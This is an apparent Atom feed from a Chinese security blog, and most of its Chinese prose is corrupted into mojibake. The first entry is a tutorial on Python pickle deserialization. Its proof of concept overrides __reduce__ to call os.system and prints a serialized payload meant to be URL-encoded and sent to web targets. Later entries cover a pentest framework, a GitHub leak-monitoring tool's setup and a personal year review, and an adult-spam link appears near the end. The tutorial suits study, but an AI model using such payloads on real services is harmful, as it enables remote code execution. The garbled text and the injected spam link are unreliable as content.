Tuuu Nya's blog http://www.yaoqianglawyer.com/icon.png 一个想当黑客的艺术??/subtitle> 2021-09-18T07:19:47.492Z http://www.yaoqianglawyer.com/ Tuuu Nya Hexo Python Pickle命o执行漏洞原理 http://www.yaoqianglawyer.com/study/python-pickle-command-execute.html 2019-06-04T03:12:36.000Z 2021-09-18T07:19:47.492Z Pickle模块

Pickle模块?个主要的ҎQ分别是Q?code>load?code>loads?code>dump?code>dumps?/p>

具体用法及传参请自行查看手册Q以下简单介l:

load

从文件中d已序列化的数据ƈq回重徏的对象结构?/p>

loads

从字节对象中d已序列化的数据ƈq回重徏的数据结构?/p>

dump

序列化对象ƈ写入到文件中?/p>

dumps

序列化对象ƈq回字节对象?/p>


介绍? 个方法,不得不提一?code>__reduce__术Ҏ?/p>

__reduce__

当定义扩展类型时Q也是使用Python的C语言API实现的类型)Q如果你想pickle它们Q你必须告诉Python如何pickle它们?code> __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么q回一个代表全局名称的字W串QPyhton会查扑֮qpickleQ要么返回一个元l。这个元l包??个元素,其中包括Q一个可调用的对象,用于重徏对象时调用;一个参数元素,供那个可调用对象使用Q被传递给 setstate 的状态(可选)Q一个生被pickle的列表元素的q代器(可选)Q一个生被pickle的字典元素的q代器(可选)Q?/p>

也就是说Q如果我们重?code>__reduce__q让他返? 个元素,W一个元素ؓ可调用的对象Q比?code>os.systemQ第二个元素会被os.system当做参数调用?/p>

构造基Payload

Ҏ上述的理论,我们可以写出来这L代码pickle_poc.pyQ?/p>

import pickleimport osclass Poc:def __reduce__(self):cmd = "ls"return os.system, (cmd,)poc = Poc()pickle.dump(poc, open('poc.txt', 'wb'))

我们建立了一?code>Pocc,重写了它?code>__reduce__ҎQ返回了两个元素Q第一个元素是os.systemQ第二个元素是个tupleQ在反序列化的时候,ls命o应该会被执行?/p>

我们使用pickle.dumpҎ序列化后的字节写入了文件?/p>

下面我们来写一个反序列化的脚本Q来触发漏洞unpickle.pyQ?/p>

import osimport picklepickle.load(open('poc.txt', 'br'))

首先执行pickle_poc.py生成POCQ会发现当前目录下出?code>poc.txtQ?/p>

然后我们执行unpickle.py对该poc.txtq行反序列化Q?/p>

然后׃发现命o被执行了?/p>

但是目前的payload是二q制格式的,不太方便在实战中d用,所以可以?code>dumpsҎ来导出易于利用的payloadQ比如:

import pickleimport osclass Poc:def __reduce__(self):cmd = "ls"return os.system, (cmd,)poc = Poc()print(pickle.dumps(poc))

使用dumps生成出来的payload是这LQ?/p>

b’\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.?/p>

q样的payload可以进?code>urlencode~码以后在web中进行发送了?/p>

后话

本来x个demo来演C的Q但实在是找不到Q也懒得写demo了?/p>

本文主要q是理解一下pickle模块执行命o的原理,如果有理解错误的地方Ƣ迎交流?/p>]]>

<h1 id="?quot;><a href="#?quot; class="headerlink" title="?quot;></a>?lt;/h1><p>Python的序列化/反序列化模块有两个,一个是Pickle、一个是cPickleQ?lt;a
WebPocket渗透测试辅助框?/title> <link href="http://www.yaoqianglawyer.com/hacker/262.html"/> <id>http://www.yaoqianglawyer.com/hacker/262.html</id> <published>2019-03-04T08:20:00.000Z</published> <updated>2021-09-18T07:19:47.492Z</updated> <content type="html"><![CDATA[<p><strong>WebPocket</strong> 是一个轻量渗透测试辅助框Ӟ使用Python3.7构徏Q整体思\借鉴?<a >Metasploit</a> ?/p><p>包含 <code>use</code>, <code>search</code>, <code>list</code>, <code>show</code>, <code>exploit</code> {命令,可通过<code>help</code>命o查看全部命o?/p><p>本框架仅为沉淀安全研究成果Q方便甲方公司及安全人员自测漏洞使用Q请勿用于非授权的渗透测试,请用者遵守《中华h民共和国|络安全法》,本h及公怸负Q何连带法律责?/p><p><a ><img src="https://asciinema.org/a/Oe4dZp79yllpda95vPNit9ft5.svg" alt="asciicast" title="asciicast"></a></p><p>目地址Q?a >https://github.com/TuuuNya/WebPocket</a><br>中文文Q?a >https://webpocket.readthedocs.io/zh_CN/latest/</a></p><h1 id="关于本项?><a href="#关于本项? class="headerlink" title="关于本项?></a>关于本项?/h1><p>该项目目前还处于试阶段Q开发思\或框架将来可能会有大的变动?/p><p>开发思\均是我个人想法,是否E_有待实践来验证?/p><p>Ƣ迎大家Ҏ体框架提出徏议,非常感谢Q?/p><p>也欢q大家可以在日常分析完漏z后随手写一份模块给我们Q感Ȁ不尽Q?/p><h1 id="联系?><a href="#联系? class="headerlink" title="联系?></a>联系?/h1><ul><li> IDQTuuu Nya</li><li> EmailQ?a href="mailto:song@secbox.cn">song@secbox.cn</a></li></ul>]]></content> <summary type="html"><p><strong>WebPocket</strong> 是一个轻量渗透测试辅助框Ӟ使用Python3.7构徏Q整体思\借鉴?<a href="https://www.metasploit.com/">Metasploit</a> ?lt;/p> <p>包含</summary> <category term="hacker" scheme="http://www.yaoqianglawyer.com/categories/hacker/"/> <category term="WebPocket" scheme="http://www.yaoqianglawyer.com/tags/WebPocket/"/> </entry> <entry> <title>2018q度ȝ http://www.yaoqianglawyer.com/life/261.html 2019-01-02T09:49:00.000Z 2021-09-18T07:19:47.492Z Z都有一U错?.是每长一岁,p得自己变得更加成熟了Q我今年的这U感觉尤为强烈,可能是因为我要结婚了吧…?/p>

每年都写q度ȝQ无疑最主要的还是想看看自己的成长,M能一q又q去了,自己却什么都没长q?/p>

重点Q!Q和@佌板 订婚了,?019q??日结婚?/p>

我LOLl于上黄金了Q!本来是想上钻石的Q但是现在只惛_佌板l婚好好q日子?/p>

q在安全路上Ql努力?/p>

成ؓ丈夫Q也成ؓ父亲Ql努力,l老婆和孩子更好的生活Q?/p>]]>

<p>Z都有一U错?.是每长一岁,p得自己变得更加成熟了Q我今年的这U感觉尤为强烈,可能是因为我要结婚了吧…?lt;/p> <p>每年都写q度ȝQ无疑最主要的还是想看看自己的成长,M能一q又q去了,自己却什么都没长q?lt;/p> <h2 id="工作和技?quot;><a
Github Monitor - Github信息泄漏监控pȝ开源啦Q?/title> <link href="http://www.yaoqianglawyer.com/code/256.html"/> <id>http://www.yaoqianglawyer.com/code/256.html</id> <published>2018-12-19T11:30:08.000Z</published> <updated>2021-09-18T07:19:47.492Z</updated> <content type="html"><![CDATA[<p><strong>GITHUB MONITOR</strong> 是vipkid安全研发团队打造的用于监控Github代码仓库的系l。通过该系l可以及时发C业内部代码泄霌Ӏ从而降低由于代码泄露导致的一pd安全风险。用户仅需通过单的d配置Q即可在分钟U发C码泄露的情况。项目后端?<strong><a >django-rest-framework</a></strong> 开发,前端使用 <strong><a >react</a></strong> ?<strong><a >antd-pro</a></strong> 开发?/p><h2 id="pȝ特点"><a href="#pȝ特点" class="headerlink" title="pȝ特点"></a>pȝ特点</h2><ul><li> 分钟U监?/li><li> 单且灉|的Q务配|?/li><li> 邮g提醒</li><li> github token理</li><li> 支持docker一键部|?/li><li> q行十分E_</li></ul><h2 id="安装指南"><a href="#安装指南" class="headerlink" title="安装指南"></a>安装指南</h2><p>首先代码clone到本圎ͼ</p><p><code>git clone https://github.com/VKSRC/Github-Monitor.git</code></p><h3 id="1-docker-部v"><a href="#1-docker-部v" class="headerlink" title="1. docker 部v"></a>1. docker 部v</h3><p>我们推荐使用<code>Docker</code>q行部v, 相对于源码部|更为简单和快速?/p><p>部v前请务必先安?code>Docker</code>?code>docker-compose</code>?/p><h4 id="修改配置文g"><a href="#修改配置文g" class="headerlink" title="修改配置文g"></a>修改配置文g</h4><p>首先复制根目录的<code>.env.docker</code>q命名?code>.env</code>Q修改其中的<code>Email Settings</code>?code>initial Administrator</code>配置。这两个配置分别控制邮g提醒Q以及初始管理帐号密码?/p><p><strong>注意: 如果需要访问的地址不是<code>127.0.0.1</code>?code>localhost</code>, 需要修?code>ALLOWED_HOST</code>参数,访问地址加到里面, ? <code>ALLOWED_HOSTS="127.0.0.1,localhost,github.sec.vipkid.com.cn"</code></strong></p><h4 id="一键启?><a href="#一键启? class="headerlink" title="一键启?></a>一键启?/h4><pre><code>docker-compose up -d</code></pre><p>讉K<code>http://127.0.0.1:8001</code>卛_看到面?/p><h4 id="修改启动端口"><a href="#修改启动端口" class="headerlink" title="修改启动端口"></a>修改启动端口</h4><p>如果想修改启动端口,可以修改<code>docker-compose.yaml</code>文g?code>web</code>容器?code>ports</code>?/p><p>默认?code>8001:80</code>Q比如要修改?code>8080</code>端口可改?code>8080:80</code>?/p><h3 id="2-源码部v"><a href="#2-源码部v" class="headerlink" title="2. 源码部v:"></a>2. 源码部v:</h3><p>目q行依赖 <strong>redis</strong>, 请在q行服务前启?strong>redis-server</strong></p><hr><p>首先?code>.env.sample</code>复制一份重命名?code>.env</code>Qƈ按照自己的要求修攚w|?</p><pre><code># Django SettingsDEBUG="True" # Django后台是否以debug模式q行, 可选True/FalseALLOWED_HOSTS="127.0.0.1,localhost" # 配置Django Allowed_Hosts# Database Settings# DATABASE choice is mysql or sqliteDATABASE="sqlite" # 数据库类? 可选sqlite或mysqlDB_NAME="github" # 数据库名UDB_HOST="127.0.0.1" # mysql hostDB_PORT="3306" # mysql portDB_USER="root" # mysql用户名DB_PASSWORD="vipkid@2018" # mysql密码# Email Settings# If you do not fill it in, it is None/FalseEMAIL_HOST="smtp.example.com" # smtp hostEMAIL_PORT="25" # smtp portFROM_EMAIL="secuirty@example.com" # 发g人EMAIL_HOST_USER="security@example.com" # email user, 如ؓ匿名发送,D为空字符卛_EMAIL_HOST_PASSWORD="password123!@#" # email password, 如ؓ匿名发送,D为空字符卛_EMAIL_USE_TLS=EMAIL_USE_SSL=# initial AdministratorINIT_ADMIN_USERNAME="admin" # 初始化系l用户用的用户名INIT_ADMIN_PASSWORD="password123!@#" # 初始化系l用户用的用户密码</code></pre><p>? </p><ul><li> 后端代码q行部v:</li></ul><blockquote><p>试环境可以使用django runserver的方式来q行部vQ生产环境徏议用uwsgi + Nginx的方式部|Ԍ配置文g的示例可以参?<a href="./conf">配置</a> 目录下的文g?/p></blockquote><ol><li><p> q入目根目录下的server目录</p></li><li><p> 配置virtualenv环境Q徏议)</p></li><li><p>在mysql里创建数据库(如用sqlite、请忽略此步):</p><pre><code> > dqmysql后, 执行 ```CREATE DATABASE IF NOT EXISTS github DEFAULT CHARSET utf8mb4 COLLATE utf8mb4_bin;```</code></pre></li><li><p>在server目录下执行如下脚?</p><p> 安装python依赖</p><p> pip3 install -r requirements.pip -i <a >http://pypi.doubanio.com/simple</a> –trusted-host pypi.doubanio.com</p><p> 初始化数据库</p><p> python3 manage.py migrate</p><p> 初始化用戯̎?/p><p> python3 manage.py init_admin</p><p> 启动web后端服务:</p><p> python3 manage.py runserver 127.0.0.1:8001</p><p> 启动监控d服务:</p><p> python3 manage.py monitor_task_service</p></li></ol><hr><ul><li> 前端代码部v:</li></ul><blockquote><p>试环境可以使用 <code>npm run start</code> 方式启动, 生环境先通过 <code>npm run build</code>生成静态文Ӟ然后通过nginx做{发来做?/p></blockquote><ol><li> q入目根目录下的client目录</li><li> 如果后端接口地址不ؓ <code>127.0.0.1:8001</code>, 需要修?code>config/config.local.js</code>, target修改为后端地址卛_</li><li> 执行: <code>npm install && npm run start</code></li></ol><h2 id="使用手册"><a href="#使用手册" class="headerlink" title="使用手册"></a>使用手册</h2><h3 id="1-dToken"><a href="#1-dToken" class="headerlink" title="1.dToken"></a>1.dToken</h3><p>Github Monitor使用Github REST API v3接口q行搜烦Q所以需要预先配|Tokenq行认证?/p><p>首先dGithubQ然后进?a >Token配置面</a>创徏Token?/p><p>随后把Tokend到Github Monitor中?/p><p><img src="https://github.com/VKSRC/Github-Monitor/raw/master/docs/media/token.jpg"></p><p>Github API有次数限Ӟ1分钟最多请?0ơ,Z提高爬取速度QGithub Monitor支持d多个Token?/p><h3 id="2-d监控d"><a href="#2-d监控d" class="headerlink" title="2.d监控d"></a>2.d监控d</h3><p>如图Q?/p><p><img src="https://github.com/VKSRC/Github-Monitor/raw/master/docs/media/task.jpg"></p><ul><li> d名称Q仅做标C?无实际意义?/li><li> 关键词:支持多个关键词,每行一个,支持<a >Github REST API v3搜烦语法</a>Q如Q?code>vipkid extension:java</code>Q只搜烦java后缀文g?/li><li> 忽略帐号Q不支持模糊匚wQ忽略指定帐号下的仓库,同样支持多个帐号Q换行分隔?/li><li> 忽略仓库Q支持模p匹配,比如Q?code>github.io</code>Q可忽略<code>test.github.io</code>?code>vipkid.github.io</code>{仓库?/li><li> 邮箱Q可为空Q不填则不会邮g提醒?/li><li> 爬取|Q默?,每页50条数据?/li><li> 爬取间隔Q默?0分钟Q可Ҏ自己需求修攏V?/li></ul><h3 id="3-认-忽略风险"><a href="#3-认-忽略风险" class="headerlink" title="3.认/忽略风险"></a>3.认/忽略风险</h3><p>如图Q?/p><p><img src="https://github.com/VKSRC/Github-Monitor/raw/master/docs/media/list.jpg"></p><p>爬虫爬取到的数据会入库,可以?code>查询pȝ</code>中进行操作,q行<code>处理/加白/忽略仓库</code>操作?/p><ul><li> 处理Q确认有风险Q需要处理?/li><li> 加白Q确认无风险Q以后不会再提醒Q如果文件有修改Q还是会再次提醒?/li><li> 忽略仓库Q批量加白该仓库下已l发现的信息?/li></ul><h2 id="联系我们"><a href="#联系我们" class="headerlink" title="联系我们"></a>联系我们</h2><p>xVKSRC微信公众P有Q何徏议和意见都可以发送到公众?提交Issue?/p><p><img src="https://github.com/VKSRC/Github-Monitor/raw/master/docs/media/wechat.jpeg" alt="Wechat" title="Wechat"></p>]]></content> <summary type="html"><p><strong>GITHUB MONITOR</strong></summary> <category term="code" scheme="http://www.yaoqianglawyer.com/categories/code/"/> <category term="Github-Monitor" scheme="http://www.yaoqianglawyer.com/tags/Github-Monitor/"/> <category term="Github监控" scheme="http://www.yaoqianglawyer.com/tags/Github%E7%9B%91%E6%8E%A7/"/> <category term="安全开? scheme="http://www.yaoqianglawyer.com/tags/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/> </entry> <entry> <title>博客的主题Typecho-Tuuu开源啦Q?/title> <link href="http://www.yaoqianglawyer.com/code/251.html"/> <id>http://www.yaoqianglawyer.com/code/251.html</id> <published>2018-09-26T10:21:00.000Z</published> <updated>2021-09-18T07:19:47.492Z</updated> <content type="html"><![CDATA[<p><img src="https://github.com/Strikersb/Typecho-Tuuu/raw/master/screenshot.png"></p><pre><code>预览地址Qwww.yaoqianglawyer.com</code></pre><p><strong>Github地址Q?a >https://github.com/Strikersb/Typecho-Tuuu</a></strong></p><h2 id="友情链接"><a href="#友情链接" class="headerlink" title="友情链接"></a>友情链接</h2><p>友情链接插g使用的是<a >Links</a></p><p>创徏友情链接面?code>自定义模?/code> -> <code>友情链接模板</code></p><h2 id="配置面"><a href="#配置面" class="headerlink" title="配置面"></a>配置面</h2><p><img src="https://github.com/Strikersb/Typecho-Tuuu/raw/master/img_settings.png"></p><p>一目了Ӟ׃多说了?/p><h2 id="Readme"><a href="#Readme" class="headerlink" title="Readme"></a>Readme</h2><p>几年前写的老代码,代码很ؕQ但是有朋友一直想要,开源啦Q?/p><p>Author: Tuuu Nya</p><p>Blog: <a href="http://www.yaoqianglawyer.com/">www.yaoqianglawyer.com</a></p>]]></content> <summary type="html"><p><img</summary> <category term="code" scheme="http://www.yaoqianglawyer.com/categories/code/"/> <category term="博客主题" scheme="http://www.yaoqianglawyer.com/tags/%E5%8D%9A%E5%AE%A2%E4%B8%BB%E9%A2%98/"/> </entry> </feed> <a href="http://www.yaoqianglawyer.com/">一级A片不卡在线观看</a> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>